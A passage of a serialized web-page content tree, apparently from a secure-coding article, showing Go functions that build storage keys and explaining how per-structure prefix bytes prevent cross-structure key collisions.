hex.Encode(usernameEncoded, username)\n\n    addressNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(addressName)),\n    )\n    hex.Encode(addressNameEncoded, addressName)\n\n    key := fmt.Sprintf(\n        \"%d%s%s%s%s\",\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        addressNameEncoded,\n    )\n}\n",[87894],{"type":22,"tag":114,"props":87895,"children":87896},{"__ignoreMap":7},[87897,87908,87923,87930,87937,87944,87960,87975,88002,88025,88044,88060,88096,88103,88138,88145,88165,88180,88215,88222,88257,88264,88292,88304,88316,88328,88340,88351,88363,88370,88377,88384,88391,88407,88422,88446,88469,88488,88503,88538,88545,88580,88587,88607,88622,88657,88664,88700,88707,88734,88745,88756,88767,88778,88789,88801,88808],{"type":22,"tag":118,"props":87898,"children":87899},{"class":120,"line":121},[87900,87904],{"type":22,"tag":118,"props":87901,"children":87902},{"style":146},[87903],{"type":28,"value":11653},{"type":22,"tag":118,"props":87905,"children":87906},{"style":125},[87907],{"type":28,"value":80162},{"type":22,"tag":118,"props":87909,"children":87910},{"class":120,"line":142},[87911,87915,87919],{"type":22,"tag":118,"props":87912,"children":87913},{"style":204},[87914],{"type":28,"value":86927},{"type":22,"tag":118,"props":87916,"children":87917},{"style":210},[87918],{"type":28,"value":837},{"type":22,"tag":118,"props":87920,"children":87921},{"style":1866},[87922],{"type":28,"value":86936},{"type":22,"tag":118,"props":87924,"children":87925},{"class":120,"line":177},[87926],{"type":22,"tag":118,"props":87927,"children":87928},{"style":125},[87929],{"type":28,"value":3665},{"type":22,"tag":118,"props":87931,"children":87932},{"class":120,"line":195},[87933],{"type":22,"tag":118,"props":87934,"children":87935},{"emptyLinePlaceholder":15},[87936],{"type":28,"value":250},{"type":22,"tag":118,"props":87938,"children":87939},{"class":120,"line":244},[87940],{"type":22,"tag":118,"props":87941,"children":87942},{"emptyLinePlaceholder":15},[87943],{"type":28,"value":250},{"type":22,"tag":118,"props":87945,"children":87946},{"class":120,"line":253},[87947,87951,87956],{"type":22,"tag":118,"props":87948,"children":87949},{"style":146},[87950],{"type":28,"value":77896},{"type":22,"tag":118,"props":87952,"children":87953},{"style":532},[87954],{"type":28,"value":87955}," PositionMapKey",{"type":22,"tag":118,"props":87957,"children":87958},{"style":125},[87959],{"type":28,"value":696},{"type":22,"tag":118,"props":87961,"children":87962},{"class":120,"line":263},[87963,87967,87971],{"type":22,"tag":118,"props":87964,"children":87965},{"style":204},[87966],{"type":28,"value":86843},{"type":22,"tag":118,"props":87968,"children":87969},{"style":131},[87970],{"type":28,"value":78017},{"type":22,"tag":118,"props":87972,"children":87973},{"style":125},[87974],{"type":28,"value":782},{"type":22,"tag":118,"props":87976,"children":87977},{"class":120,"line":318},[87978,87982,87986,87990,87994,87998],{"type":22,"tag":118,"props":87979,"children":87980},{"style":204},[87981],{"type":28,"value":86855},{"type":22,"tag":118,"props":87983,"children":87984},{"style":125},[87985],{"type":28,"value":231},{"type":22,"tag":118,"props":87987,"children":87988},{"style":204},[87989],{"type":28,"value":87336},{"type":22,"tag":118,"props":87991,"children":87992},{"style":125},[87993],{"type":28,"value":77823},{"type":22,"tag":118,"props":87995,"children":87996},{"style":131},[87997],{"type":28,"value":86361},{"type":22,"tag":118,"props":87999,"children":88000},{"style":125},[88001],{"type":28,"value":782},{"type":22,"tag":118,"props":88003,"children":88004},{"class":120,"line":351},[88005,88009,88013,88017,88021],{"type":22,"tag":118,"props":88006,"children":88007},{"style":125},[88008],{"type":28,"value":77978},{"type":22,"tag":118,"props":88010,"children":88011},{"style":204},[88012],{"type":28,"value":1093},{"type":22,"tag":118,"props":88014,"children":88015},{"style":125},[88016],{"type":28,"value":77823},{"type":22,"tag":118,"props":88018,"children":88019},{"style":131},[88020],{"type":28,"value":86361},{"type":22,"tag":118,"props":88022,"children":88023},{"style":125},[88024],{"type":28,"value":16783},{"type":22,"tag":118,"props":88026,"children":88027},{"class":120,"line":359},[88028,88032,88036,88040],{"type":22,"tag":118,"props":88029,"children":88030},{"style":204},[88031],{"type":28,"value":87457},{"type":22,"tag":118,"props":88033,"children":88034},{"style":210},[88035],{"type":28,"value":78012},{"type":22,"tag":118,"props":88037,"children":88038},{"style":532},[88039],{"type":28,"value":87160},{"type":22,"tag":118,"props":88041,"children":88042},{"style":125},[88043],{"type":28,"value":696},{"type":22,"tag":118,"props":88045,"children":88046},{"class":120,"line":368},[88047,88052,88056],{"type":22,"tag":118,"props":88048,"children":88049},{"style":125},[88050],{"type":28,"value":88051},"        []",{"type":22,"tag":118,"props":88053,"children":88054},{"style":131},[88055],{"type":28,"value":86361},{"type":22,"tag":118,"props":88057,"children":88058},{"style":125},[88059],{"type":28,"value":782},{"type":22,"tag":118,"props":88061,"children":88062},{"class":120,"line":384},[88063,88068,88072,88076,88080,88084,88088,88092],{"type":22,"tag":118,"props":88064,"children":88065},{"style":204},[88066],{"type":28,"value":88067},"        hex",{"type":22,"tag":118,"props":88069,"children":88070},{"style":125},[88071],{"type":28,"value":292},{"type":22,"tag":118,"props":88073,"children":88074},{"style":532},[88075],{"type":28,"value":87197},{"type":22,"tag":118,"props":88077,"children":88078},{"style":125},[88079],{"type":28,"value":540},{"type":22,"tag":118,"props":88081,"children":88082},{"style":532},[88083],{"type":28,"value":11137},{"type":22,"tag":118,"props":88085,"children":88086},{"style":125},[88087],{"type":28,"value":540},{"type":22,"tag":118,"props":88089,"children":88090},{"style":204},[88091],{"type":28,"value":87067},{"type":22,"tag":118,"props":88093,"children":88094},{"style":125},[88095],{"type":28,"value":87218},{"type":22,"tag":118,"props":88097,"children":88098},{"class":120,"line":417},[88099],{"type":22,"tag":118,"props":88100,"children":88101},{"style":125},[88102],{"type":28,"value":25864},{"type":22,"tag":118,"props":88104,"children":88105},{"class":120,"line":425},[88106,88110,88114,88118,88122,88126,88130,88134],{"type":22,"tag":118,"props":88107,"children":88108},{"style":204},[88109],{"type":28,"value":87188},{"type":22,"tag":118,"props":88111,"children":88112},{"style":125},[88113],{"type":28,"value":292},{"type":22,"tag":118,"props":88115,"children":88116},{"style":532},[88117],{"type":28,"value":87242},{"type":22,"tag":118,"props":88119,"children":88120},{"style":125},[88121],{"type":28,"value":540},{"type":22,"tag":118,"props":88123,"children":88124},{"style":204},[88125],{"type":28,"value":87151},{"type":22,"tag":118,"props":88127,"children":88128},{"style":125},[88129],{"type":28,"value":231},{"type":22,"tag":118,"props":88131,"children":88132},{"style":204},[88133],{"type":28,"value":87067},{"type":22,"tag":118,"props":88135,"children":88136},{"style":125},[88137],{"type":28,"value":3665},{"type":22,"tag":118,"props":88139,"children":88140},{"class":120,"line":441},[88141],{"type":22,"tag":118,"props":88142,"children":88143},{"emptyLinePlaceholder":15},[88144],{"type":28,"value":250},{"type":22,"tag":118,"props":88146,"children":88147},{"class":120,"line":475},[88148,88153,88157,88161],{"type":22,"tag":118,"props":88149,"children":88150},{"style":204},[88151],{"type":28,"value":88152},"    positionNameEncoded",{"type":22,"tag":118,"props":88154,"children":88155},{"style":210},[88156],{"type":28,"value":78012},{"type":22,"tag":118,"props":88158,"children":88159},{"style":532},[88160],{"type":28,"value":87160},{"type":22,"tag":118,"props":88162,"children":88163},{"style":125},[88164],{"type":28,"value":696},{"type":22,"tag":118,"props":88166,"children":88167},{"class":120,"line":484},[88168,88172,88176],{"type":22,"tag":118,"props":88169,"children":88170},{"style":125},[88171],{"type":28,"value":88051},{"type":22,"tag":118,"props":88173,"children":88174},{"style":131},[88175],{"type":28,"value":86361},{"type":22,"tag":118,"props":88177,"children":88178},{"style":125},[88179],{"type":28,"value":782},{"type":22,"tag":118,"props":88181,"children":88182},{"class":120,"line":492},[88183,88187,88191,88195,88199,88203,88207,88211],{"type":22,"tag":118,"props":88184,"children":88185},{"style":204},[88186],{"type":28,"value":88067},{"type":22,"tag":118,"props":88188,"children":88189},{"style":125},[88190],{"type":28,"value":292},{"type":22,"tag":118,"props":88192,"children":88193},{"style":532},[88194],{"type":28,"value":87197},{"type":22,"tag":118,"props":88196,"children":88197},{"style":125},[88198],{"type":28,"value":540},{"type":22,"tag":118,"props":88200,"children":88201},{"style":532},[88202],{"type":28,"value":11137},{"type":22,"tag":118,"props":88204,"children":88205},{"style":125},[88206],{"type":28,"value":540},{"type":22,"tag":118,"props":88208,"children":88209},{"style":204},[88210],{"type":28,"value":87336},{"type":22,"tag":118,"props":88212,"children":88213},{"style":125},[88214],{"type":28,"value":87218},{"type":22,"tag":118,"props":88216,"children":88217},{"class":120,"line":501},[88218],{"type":22,"tag":118,"props":88219,"children":88220},{"style":125},[88221],{"type":28,"value":25864},{"type":22,"tag":118,"props":88223,"children":88224},{"class":120,"line":519},[88225,88229,88233,88237,88241,88245,88249,88253],{"type":22,"tag":118,"props":88226,"children":88227},{"style":204},[88228],{"type":28,"value":87188},{"type":22,"tag":118,"props":88230,"children":88231},{"style":125},[88232],{"type":28,"value":292},{"type":22,"tag":118,"props":88234,"children":88235},{"style":532},[88236],{"type":28,"value":87242},{"type":22,"tag":118,"props":88238,"children":88239},{"style":125},[88240],{"type":28,"value":540},{"type":22,"tag":118,"props":88242,"children":88243},{"style":204},[88244],{"type":28,"value":87277},{"type":22,"tag":118,"props":88246,"children":88247},{"style":125},[88248],{"type":28,"value":231},{"type":22,"tag":118,"props":88250,"children":88251},{"style":204},[88252],{"type":28,"value":87336},{"type":22,"tag":118,"props":88254,"children":88255},{"style":125},[88256],{"type":28,"value":3665},{"type":22,"tag":118,"props":88258,"children":88259},{"class":120,"line":606},[88260],{"type":22,"tag":118,"props":88261,"children":88262},{"emptyLinePlaceholder":15},[88263],{"type":28,"value":250},{"type":22,"tag":118,"props":88265,"children":88266},{"class":120,"line":615},[88267,88272,88276,88280,88284,88288],{"type":22,"tag":118,"props":88268,"children":88269},{"style":204},[88270],{"type":28,"value":88271},"    key",{"type":22,"tag":118,"props":88273,"children":88274},{"style":210},[88275],{"type":28,"value":78012},{"type":22,"tag":118,"props":88277,"children":88278},{"style":204},[88279],{"type":28,"value":83830},{"type":22,"tag":118,"props":88281,"children":88282},{"style":125},[88283],{"type":28,"value":292},{"type":22,"tag":118,"props":88285,"children":88286},{"style":532},[88287],{"type":28,"value":86819},{"type":22,"tag":118,"props":88289,"children":88290},{"style":125},[88291],{"type":28,"value":696},{"type":22,"tag":118,"props":88293,"children":88294},{"class":120,"line":685},[88295,88300],{"type":22,"tag":118,"props":88296,"children":88297},{"style":1866},[88298],{"type":28,"value":88299},"        \"%d%s%s%s%s\"",{"type":22,"tag":118,"props":88301,"children":88302},{"style":125},[88303],{"type":28,"value":782},{"type":22,"tag":118,"props":88305,"children":88306},{"class":120,"line":699},[88307,88312],{"type":22,"tag":118,"props":88308,"children":88309},{"style":204},[88310],{"type":28,"value":88311},"        vaultId",{"type":22,"tag":118,"props":88313,"children":88314},{"style":125},[88315],{"type":28,"value":782},{"type":22,"tag":118,"props":88317,"children":88318},{"class":120,"line":729},[88319,88324],{"type":22,"tag":118,"props":88320,"children":88321},{"style":204},[88322],{"type":28,"value":88323},"        Seperator",{"type":22,"tag":118,"props":88325,"children":88326},{"style":125},[88327],{"type":28,"value":782},{"type":22,"tag":118,"props":88329,"children":88330},{"class":120,"line":771},[88331,88336],{"type":22,"tag":118,"props":88332,"children":88333},{"style":204},[88334],{"type":28,"value":88335},"        usernameEncoded",{"type":22,"tag":118,"props":88337,"children":88338},{"style":125},[88339],{"type":28,"value":782},{"type":22,"tag":118,"props":88341,"children":88342},{"class":120,"line":785},[88343,88347],{"type":22,"tag":118,"props":88344,"children":88345},{"style":204},[88346],{"type":28,"value":88323},{"type":22,"tag":118,"props":88348,"children":88349},{"style":125},[88350],{"type":28,"value":782},{"type":22,"tag":118,"props":88352,"children":88353},{"class":120,"line":804},[88354,88359],{"type":22,"tag":118,"props":88355,"children":88356},{"style":204},[88357],{"type":28,"value":88358},"        positionNameEncoded",{"type":22,"tag":118,"props":88360,"children":88361},{"style":125},[88362],{"type":28,"value":782},{"type":22,"tag":118,"props":88364,"children":88365},{"class":120,"line":812},[88366],{"type":22,"tag":118,"props":88367,"children":88368},{"style":125},[88369],{"type":28,"value":25864},{"type":22,"tag":118,"props":88371,"children":88372},{"class":120,"line":821},[88373],{"type":22,"tag":118,"props":88374,"children":88375},{"style":125},[88376],{"type":28,"value":481},{"type":22,"tag":118,"props":88378,"children":88379},{"class":120,"line":900},[88380],{"type":22,"tag":118,"props":88381,"children":88382},{"emptyLinePlaceholder":15},[88383],{"type":28,"value":250},{"type":22,"tag":118,"props":88385,"children":88386},{"class":120,"line":913},[88387],{"type":22,"tag":118,"props":88388,"children":88389},{"emptyLinePlaceholder":15},[88390],{"type":28,"value":250},{"type":22,"tag":118,"props":88392,"children":88393},{"class":120,"line":953},[88394,88398,88403],{"type":22,"tag":118,"props":88395,"children":88396},{"style":146},[88397],{"type":28,"value":77896},{"type":22,"tag":118,"props":88399,"children":88400},{"style":532},[88401],{"type":28,"value":88402}," AddressMapKey",{"type":22,"tag":118,"props":88404,"children":88405},{"style":125},[88406],{"type":28,"value":696},{"type":22,"tag":118,"props":88408,"children":88409},{"class":120,"line":982},[88410,88414,88418],{"type":22,"tag":118,"props":88411,"children":88412},{"style":204},[88413],{"type":28,"value":86843},{"type":22,"tag":118,"props":88415,"children":88416},{"style":131},[88417],{"type":28,"value":78017},{"type":22,"tag":118,"props":88419,"children":88420},{"style":125},[88421],{"type":28,"value":782},{"type":22,"tag":118,"props":88423,"children":88424},{"class":120,"line":995},[88425,88429,88433,88438,88442],{"type":22,"tag":118,"props":88426,"children":88427},{"style":204},[88428],{"type":28,"value":86855},{"type":22,"tag":118,"props":88430,"children":88431},{"style":125},[88432],{"type":28,"value":231},{"type":22,"tag":118,"props":88434,"children":88435},{"style":204},[88436],{"type":28,"value":88437},"addressName",{"type":22,"tag":118,"props":88439,"children":88440},{"style":125},[88441],{"type":28,"value":77823},{"type":22,"tag":118,"props":88443,"children":88444},{"style":131},[88445],{"type":28,"value":85824},{"type":22,"tag":118,"props":88447,"children":88448},{"class":120,"line":1011},[88449,88453,88457,88461,88465],{"type":22,"tag":118,"props":88450,"children":88451},{"style":125},[88452],{"type":28,"value":77978},{"type":22,"tag":118,"props":88454,"children":88455},{"style":204},[88456],{"type":28,"value":1093},{"type":22,"tag":118,"props":88458,"children":88459},{"style":125},[88460],{"type":28,"value":77823},{"type":22,"tag":118,"props":88462,"children":88463},{"style":131},[88464],{"type":28,"value":86361},{"type":22,"tag":118,"props":88466,"children":88467},{"style":125},[88468],{"type":28,"value":16783},{"type":22,"tag":118,"props":88470,"children":88471},{"class":120,"line":1019},[88472,88476,88480,88484],{"type":22,"tag":118,"props":88473,"children":88474},{"style":204},[88475],{"type":28,"value":87457},{"type":22,"tag":118,"props":88477,"children":88478},{"style":210},[88479],{"type":28,"value":78012},{"type":22,"tag":118,"props":88481,"children":88482},{"style":532},[88483],{"type":28,"value":87160},{"type":22,"tag":118,"props":88485,"children":88486},{"style":125},[88487],{"type":28,"value":696},{"type":22,"tag":118,"props":88489,"children":88490},{"class":120,"line":1028},[88491,88495,88499],{"type":22,"tag":118,"props":88492,"children":88493},{"style":125},[88494],{"type":28,"value":88051},{"type":22,"tag":118,"props":88496,"children":88497},{"style":131},[88498],{"type":28,"value":86361},{"type":22,"tag":118,"props":88500,"children":88501},{"style":125},[88502],{"type":28,"value":782},{"type":22,"tag":118,"props":88504,"children":88505},{"class":120,"line":1101},[88506,88510,88514,88518,88522,88526,88530,88534],{"type":22,"tag":118,"props":88507,"children":88508},{"style":204},[88509],{"type":28,"value":88067},{"type":22,"tag":118,"props":88511,"children":88512},{"style":125},[88513],{"type":28,"value":292},{"type":22,"tag":118,"props":88515,"children":88516},{"style":532},[88517],{"type":28,"value":87197},{"type":22,"tag":118,"props":88519,"children":88520},{"style":125},[88521],{"type":28,"value":540},{"type":22,"tag":118,"props":88523,"children":88524},{"style":532},[88525],{"type":28,"value":11137},{"type":22,"tag":118,"props":88527,"children":88528},{"style":125},[88529],{"type":28,"value":540},{"type":22,"tag":118,"props":88531,"children":88532},{"style":204},[88533],{"type":28,"value":87067},{"type":22,"tag":118,"props":88535,"children":88536},{"style":125},[88537],{"type":28,"value":87218},{"type":22,"tag":118,"props":88539,"children":88540},{"class":120,"line":1146},[88541],{"type":22,"tag":118,"props":88542,"children":88543},{"style":125},[88544],{"type":28,"value":25864},{"type":22,"tag":118,"props":88546,"children":88547},{"class":120,"line":1226},[88548,88552,88556,88560,88564,88568,88572,88576],{"type":22,"tag":118,"props":88549,"children":88550},{"style":204},[88551],{"type":28,"value":87188},{"type":22,"tag":118,"props":88553,"children":88554},{"style":125},[88555],{"type":28,"value":292},{"type":22,"tag":118,"props":88557,"children":88558},{"style":532},[88559],{"type":28,"value":87242},{"type":22,"tag":118,"props":88561,"children":88562},{"style":125},[88563],{"type":28,"value":540},{"type":22,"tag":118,"props":88565,"children":88566},{"style":204},[88567],{"type":28,"value":87151},{"type":22,"tag":118,"props":88569,"children":88570},{"style":125},[88571],{"type":28,"value":231},{"type":22,"tag":118,"props":88573,"children":88574},{"style":204},[88575],{"type":28,"value":87067},{"type":22,"tag":118,"props":88577,"children":88578},{"style":125},[88579],{"type":28,"value":3665},{"type":22,"tag":118,"props":88581,"children":88582},{"class":120,"line":1234},[88583],{"type":22,"tag":118,"props":88584,"children":88585},{"emptyLinePlaceholder":15},[88586],{"type":28,"value":250},{"type":22,"tag":118,"props":88588,"children":88589},{"class":120,"line":1248},[88590,88595,88599,88603],{"type":22,"tag":118,"props":88591,"children":88592},{"style":204},[88593],{"type":28,"value":88594},"    addressNameEncoded",{"type":22,"tag":118,"props":88596,"children":88597},{"style":210},[88598],{"type":28,"value":78012},{"type":22,"tag":118,"props":88600,"children":88601},{"style":532},[88602],{"type":28,"value":87160},{"type":22,"tag":118,"props":88604,"children":88605},{"style":125},[88606],{"type":28,"value":696},{"type":22,"tag":118,"props":88608,"children":88609},{"class":120,"line":1257},[88610,88614,88618],{"type":22,"tag":118,"props":88611,"children":88612},{"style":125},[88613],{"type":28,"value":88051},{"type":22,"tag":118,"props":88615,"children":88616},{"style":131},[88617],{"type":28,"value":86361},{"type":22,"tag":118,"props":88619,"children":88620},{"style":125},[88621],{"type":28,"value":782},{"type":22,"tag":118,"props":88623,"children":88624},{"class":120,"line":25765},[88625,88629,88633,88637,88641,88645,88649,88653],{"type":22,"tag":118,"props":88626,"children":88627},{"style":204},[88628],{"type":28,"value":88067},{"type":22,"tag":118,"props":88630,"children":88631},{"style":125},[88632],{"type":28,"value":292},{"type":22,"tag":118,"props":88634,"children":88635},{"style":532},[88636],{"type":28,"value":87197},{"type":22,"tag":118,"props":88638,"children":88639},{"style":125},[88640],{"type":28,"value":540},{"type":22,"tag":118,"props":88642,"children":88643},{"style":532},[88644],{"type":28,"value":11137},{"type":22,"tag":118,"props":88646,"children":88647},{"style":125},[88648],{"type":28,"value":540},{"type":22,"tag":118,"props":88650,"children":88651},{"style":204},[88652],{"type":28,"value":88437},{"type":22,"tag":118,"props":88654,"children":88655},{"style":125},[88656],{"type":28,"value":87218},{"type":22,"tag":118,"props":88658,"children":88659},{"class":120,"line":25778},[88660],{"type":22,"tag":118,"props":88661,"children":88662},{"style":125},[88663],{"type":28,"value":25864},{"type":22,"tag":118,"props":88665,"children":88666},{"class":120,"line":25791},[88667,88671,88675,88679,88683,88688,88692,88696],{"type":22,"tag":118,"props":88668,"children":88669},{"style":204},[88670],{"type":28,"value":87188},{"type":22,"tag":118,"props":88672,"children":88673},{"style":125},[88674],{"type":28,"value":292},{"type":22,"tag":118,"props":88676,"children":88677},{"style":532},[88678],{"type":28,"value":87242},{"type":22,"tag":118,"props":88680,"children":88681},{"style":125},[88682],{"type":28,"value":540},{"type":22,"tag":118,"props":88684,"children":88685},{"style":204},[88686],{"type":28,"value":88687},"addressNameEncoded",{"type":22,"tag":118,"props":88689,"children":88690},{"style":125},[88691],{"type":28,"value":231},{"type":22,"tag":118,"props":88693,"children":88694},{"style":204},[88695],{"type":28,"value":88437},{"type":22,"tag":118,"props":88697,"children":88698},{"style":125},[88699],{"type":28,"value":3665},{"type":22,"tag":118,"props":88701,"children":88702},{"class":120,"line":25804},[88703],{"type":22,"tag":118,"props":88704,"children":88705},{"emptyLinePlaceholder":15},[88706],{"type":28,"value":250},{"type":22,"tag":118,"props":88708,"children":88709},{"class":120,"line":25858},[88710,88714,88718,88722,88726,88730],{"type":22,"tag":118,"props":88711,"children":88712},{"style":204},[88713],{"type":28,"value":88271},{"type":22,"tag":118,"props":88715,"children":88716},{"style":210},[88717],{"type":28,"value":78012},{"type":22,"tag":118,"props":88719,"children":88720},{"style":204},[88721],{"type":28,"value":83830},{"type":22,"tag":118,"props":88723,"children":88724},{"style":125},[88725],{"type":28,"value":292},{"type":22,"tag":118,"props":88727,"children":88728},{"style":532},[88729],{"type":28,"value":86819},{"type":22,"tag":118,"props":88731,"children":88732},{"style":125},[88733],{"type":28,"value":696},{"type":22,"tag":118,"props":88735,"children":88736},{"class":120,"line":25867},[88737,88741],{"type":22,"tag":118,"props":88738,"children":88739},{"style":1866},[88740],{"type":28,"value":88299},{"type":22,"tag":118,"props":88742,"children":88743},{"style":125},[88744],{"type":28,"value":782},{"type":22,"tag":118,"props":88746,"children":88747},{"class":120,"line":34219},[88748,88752],{"type":22,"tag":118,"props":88749,"children":88750},{"style":204},[88751],{"type":28,"value":88311},{"type":22,"tag":118,"props":88753,"children":88754},{"style":125},[88755],{"type":28,"value":782},{"type":22,"tag":118,"props":88757,"children":88758},{"class":120,"line":34240},[88759,88763],{"type":22,"tag":118,"props":88760,"children":88761},{"style":204},[88762],{"type":28,"value":88323},{"type":22,"tag":118,"props":88764,"children":88765},{"style":125},[88766],{"type":28,"value":782},{"type":22,"tag":118,"props":88768,"children":88769},{"class":120,"line":82547},[88770,88774],{"type":22,"tag":118,"props":88771,"children":88772},{"style":204},[88773],{"type":28,"value":88335},{"type":22,"tag":118,"props":88775,"children":88776},{"style":125},[88777],{"type":28,"value":782},{"type":22,"tag":118,"props":88779,"children":88780},{"class":120,"line":82560},[88781,88785],{"type":22,"tag":118,"props":88782,"children":88783},{"style":204},[88784],{"type":28,"value":88323},{"type":22,"tag":118,"props":88786,"children":88787},{"style":125},[88788],{"type":28,"value":782},{"type":22,"tag":118,"props":88790,"children":88791},{"class":120,"line":82568},[88792,88797],{"type":22,"tag":118,"props":88793,"children":88794},{"style":204},[88795],{"type":28,"value":88796},"        addressNameEncoded",{"type":22,"tag":118,"props":88798,"children":88799},{"style":125},[88800],{"type":28,"value":782},{"type":22,"tag":118,"props":88802,"children":88803},{"class":120,"line":82576},[88804],{"type":22,"tag":118,"props":88805,"children":88806},{"style":125},[88807],{"type":28,"value":25864},{"type":22,"tag":118,"props":88809,"children":88810},{"class":120,"line":82584},[88811],{"type":22,"tag":118,"props":88812,"children":88813},{"style":125},[88814],{"type":28,"value":481},{"type":22,"tag":31,"props":88816,"children":88817},{},[88818,88820,88825],{"type":28,"value":88819},"Unfortunately, when dealing with more than one storage entry within the same ",{"type":22,"tag":114,"props":88821,"children":88823},{"className":88822},[],[88824],{"type":28,"value":86573},{"type":28,"value":88826},", the previous implementation is not enough to guarantee key uniqueness. While it still effectively prevents key collisions within each individual structure, it does not prevent cross-structure key collisions.",{"type":22,"tag":107,"props":88828,"children":88830},{"code":88829},"vaultId = 1, username = \"a\", positionName = \"b\"\n    => PositionMapKey = \"1|a|b\"\n\nvaultId = 1, username = \"a\", addressName = \"b\"\n    => AddressMapKey = \"1|a||b\"\n",[88831],{"type":22,"tag":114,"props":88832,"children":88833},{"__ignoreMap":7},[88834],{"type":28,"value":88829},{"type":22,"tag":31,"props":88836,"children":88837},{},[88838],{"type":28,"value":88839},"To prevent this, add a structure-specific prefix to the start of each key to act as a domain separator.",{"type":22,"tag":107,"props":88841,"children":88843},{"code":88842,"language":77760,"meta":7,"className":77761,"style":7},"const (\n    Seperator = \"|\"\n    PositionMapPrefix = \"\\x01\"\n    AddressMapPrefix = \"\\x02\"\n)\n\n\nfunc PositionMapKey(\n    vaultId uint64,\n    username, positionName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    positionNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(positionName)),\n    )\n    hex.Encode(positionNameEncoded, positionName)\n\n    key := fmt.Sprintf(\n        \"%s%d%s%s%s%s\",\n        PositionMapPrefix,\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        positionNameEncoded,\n    )\n}\n\n\nfunc AddressMapKey(\n    vaultId uint64,\n    username, addressName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    addressNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(addressName)),\n    )\n    hex.Encode(addressNameEncoded, addressName)\n\n    key := fmt.Sprintf(\n        \"%s%d%s%s%s%s\",\n        AddressMapPrefix,\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        addressNameEncoded,\n    )\n}\n",[88844],{"type":22,"tag":114,"props":88845,"children":88846},{"__ignoreMap":7},[88847,88858,88873,88900,88925,88932,88939,88946,88961,88976,89003,89026,89045,89060,89095,89102,89137,89144,89163,89178,89213,89220,89255,89262,89289,89301,89313,89324,89335,89346,89357,89368,89375,89382,89389,89396,89411,89426,89453,89476,89495,89510,89545,89552,89587,89594,89613,89628,89663,89670,89705,89712,89739,89750,89762,89773,89784,89795,89806,89817,89825],{"type":22,"tag":118,"props":88848,"children":88849},{"class":120,"line":121},[88850,88854],{"type":22,"tag":118,"props":88851,"children":88852},{"style":146},[88853],{"type":28,"value":11653},{"type":22,"tag":118,"props":88855,"children":88856},{"style":125},[88857],{"type":28,"value":80162},{"type":22,"tag":118,"props":88859,"children":88860},{"class":120,"line":142},[88861,88865,88869],{"type":22,"tag":118,"props":88862,"children":88863},{"style":204},[88864],{"type":28,"value":86927},{"type":22,"tag":118,"props":88866,"children":88867},{"style":210},[88868],{"type":28,"value":837},{"type":22,"tag":118,"props":88870,"children":88871},{"style":1866},[88872],{"type":28,"value":86936},{"type":22,"tag":118,"props":88874,"children":88875},{"class":120,"line":177},[88876,88881,88885,88890,88895],{"type":22,"tag":118,"props":88877,"children":88878},{"style":204},[88879],{"type":28,"value":88880},"    PositionMapPrefix",{"type":22,"tag":118,"props":88882,"children":88883},{"style":210},[88884],{"type":28,"value":837},{"type":22,"tag":118,"props":88886,"children":88887},{"style":1866},[88888],{"type":28,"value":88889}," \"",{"type":22,"tag":118,"props":88891,"children":88892},{"style":50313},[88893],{"type":28,"value":88894},"\\x01",{"type":22,"tag":118,"props":88896,"children":88897},{"style":1866},[88898],{"type":28,"value":88899},"\"\n",{"type":22,"tag":118,"props":88901,"children":88902},{"class":120,"line":195},[88903,88908,88912,88916,88921],{"type":22,"tag":118,"props":88904,"children":88905},{"style":204},[88906],{"type":28,"value":88907},"    AddressMapPrefix",{"type":22,"tag":118,"props":88909,"children":88910},{"style":210},[88911],{"type":28,"value":837},{"type":22,"tag":118,"props":88913,"children":88914},{"style":1866},[88915],{"type":28,"value":88889},{"type":22,"tag":118,"props":88917,"children":88918},{"style":50313},[88919],{"type":28,"value":88920},"\\x02",{"type":22,"tag":118,"props":88922,"children":88923},{"style":1866},[88924],{"type":28,"value":88899},{"type":22,"tag":118,"props":88926,"children":88927},{"class":120,"line":244},[88928],{"type":22,"tag":118,"props":88929,"children":88930},{"style":125},[88931],{"type":28,"value":3665},{"type":22,"tag":118,"props":88933,"children":88934},{"class":120,"line":253},[88935],{"type":22,"tag":118,"props":88936,"children":88937},{"emptyLinePlaceholder":15},[88938],{"type":28,"value":250},{"type":22,"tag":118,"props":88940,"children":88941},{"class":120,"line":263},[88942],{"type":22,"tag":118,"props":88943,"children":88944},{"emptyLinePlaceholder":15},[88945],{"type":28,"value":250},{"type":22,"tag":118,"props":88947,"children":88948},{"class":120,"line":318},[88949,88953,88957],{"type":22,"tag":118,"props":88950,"children":88951},{"style":146},[88952],{"type":28,"value":77896},{"type":22,"tag":118,"props":88954,"children":88955},{"style":532},[88956],{"type":28,"value":87955},{"type":22,"tag":118,"props":88958,"children":88959},{"style":125},[88960],{"type":28,"value":696},{"type":22,"tag":118,"props":88962,"children":88963},{"class":120,"line":351},[88964,88968,88972],{"type":22,"tag":118,"props":88965,"children":88966},{"style":204},[88967],{"type":28,"value":86843},{"type":22,"tag":118,"props":88969,"children":88970},{"style":131},[88971],{"type":28,"value":78017},{"type":22,"tag":118,"props":88973,"children":88974},{"style":125},[88975],{"type":28,"value":782},{"type":22,"tag":118,"props":88977,"children":88978},{"class":120,"line":359},[88979,88983,88987,88991,88995,88999],{"type":22,"tag":118,"props":88980,"children":88981},{"style":204},[88982],{"type":28,"value":86855},{"type":22,"tag":118,"props":88984,"children":88985},{"style":125},[88986],{"type":28,"value":231},{"type":22,"tag":118,"props":88988,"children":88989},{"style":204},[88990],{"type":28,"value":87336},{"type":22,"tag":118,"props":88992,"children":88993},{"style":125},[88994],{"type":28,"value":77823},{"type":22,"tag":118,"props":88996,"children":88997},{"style":131},[88998],{"type":28,"value":86361},{"type":22,"tag":118,"props":89000,"children":89001},{"style":125},[89002],{"type":28,"value":782},{"type":22,"tag":118,"props":89004,"children":89005},{"class":120,"line":368},[89006,89010,89014,89018,89022],{"type":22,"tag":118,"props":89007,"children":89008},{"style":125},[89009],{"type":28,"value":77978},{"type":22,"tag":118,"props":89011,"children":89012},{"style":204},[89013],{"type":28,"value":1093},{"type":22,"tag":118,"props":89015,